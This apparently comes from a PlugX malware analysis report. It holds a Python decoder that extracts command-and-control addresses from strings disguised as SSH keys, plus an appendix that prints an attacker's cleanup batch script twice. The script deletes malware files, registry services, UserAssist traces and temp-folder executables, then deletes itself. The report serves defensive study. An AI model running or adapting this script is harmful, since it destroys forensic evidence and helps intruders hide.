decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import struct \xc2 def decode(buf): \xc2 \xc2 \xc2 \xc2 res = """" \xc2 \xc2 \xc2 \xc2 for i in range(0, len(buf) -1, 2): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = ord(buf[i + 1]) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl - 0x41 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl * 0x10 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl + ord(buf[i]) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl - 0x41 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 res += chr(dl) \xc2 \xc2 \xc2 \xc2 return res \xc2 def decode_plugx_pastebin(buf): \xc2 \xc2 \xc2 \xc2 start = buf.find('DZKS') \xc2 \xc2 \xc2 \xc2 if start == -1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return None \xc2 \xc2 \xc2 \xc2 \xc2 end = buf.find('DZJS', start + 4) \xc2 \xc2 \xc2 \xc2 if end == -1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return None \xc2 \xc2 \xc2 \xc2 \xc2 start += 4 \xc2 \xc2 \xc2 \xc2 \xc2 data = buf[start:end] \xc2 \xc2 \xc2 \xc2 decoded = decode(data) \xc2 \xc2 \xc2 \xc2 \xc2 connection_type = struct.unpack_from('<H', decoded, 0)[0] \xc2 \xc2 \xc2 \xc2 port = struct.unpack_from('<H', decoded, 2)[0] \xc2 \xc2 \xc2 \xc2 ip = decoded[4:] \xc2 \xc2 \xc2 \xc2 print ""Decoded IP: {}:{}, type: {}"".format(ip, port, connection_type) \xc2 \xc2 \xc2 \xc2 \xc2 return True \xc2 decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSGAAALLBAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2q9n8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3J=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSDAAAAFAAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsAHyLye8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6aBha3q9niJFu2=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSEAAABGHBEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2niJ8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=') \xc2 Appendix C \xe2\x80\x93 a.bat mscorsvw.exe cscript del.vbs del BlackBox.dll del mscorsvw.exe del BlackBox del explorer.exe cscript del.vbs del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\EmpPrx"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASAPI32"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASMANCS"" /f reg delete ""HKU\\.DEFAULT\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f del /s c:\\windows\\temp\\*.bat del /s c:\\windows\\temp\\*.dat del /s c:\\windows\\temp\\*.dll del /s c:\\windows\\temp\\*.exe del /s c:\\windows\\temp\\*.vbs del %0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 mscorsvw.exe cscript del.vbs del BlackBox.dll del mscorsvw.exe del BlackBox del explorer.exe cscript del.vbs del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\EmpPrx"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASAPI32"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASMANCS"" /f reg delete ""HKU\\.DEFAULT\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f del /s c:\\windows\\temp\\*.bat del /s c:\\windows\\temp\\*.dat del /s c:\\windows\\temp\\*.dll del /s c:\\windows\\temp\\*.exe del /s c:\\windows\\temp\\*.vbs del %0 \xc2 Appendix D 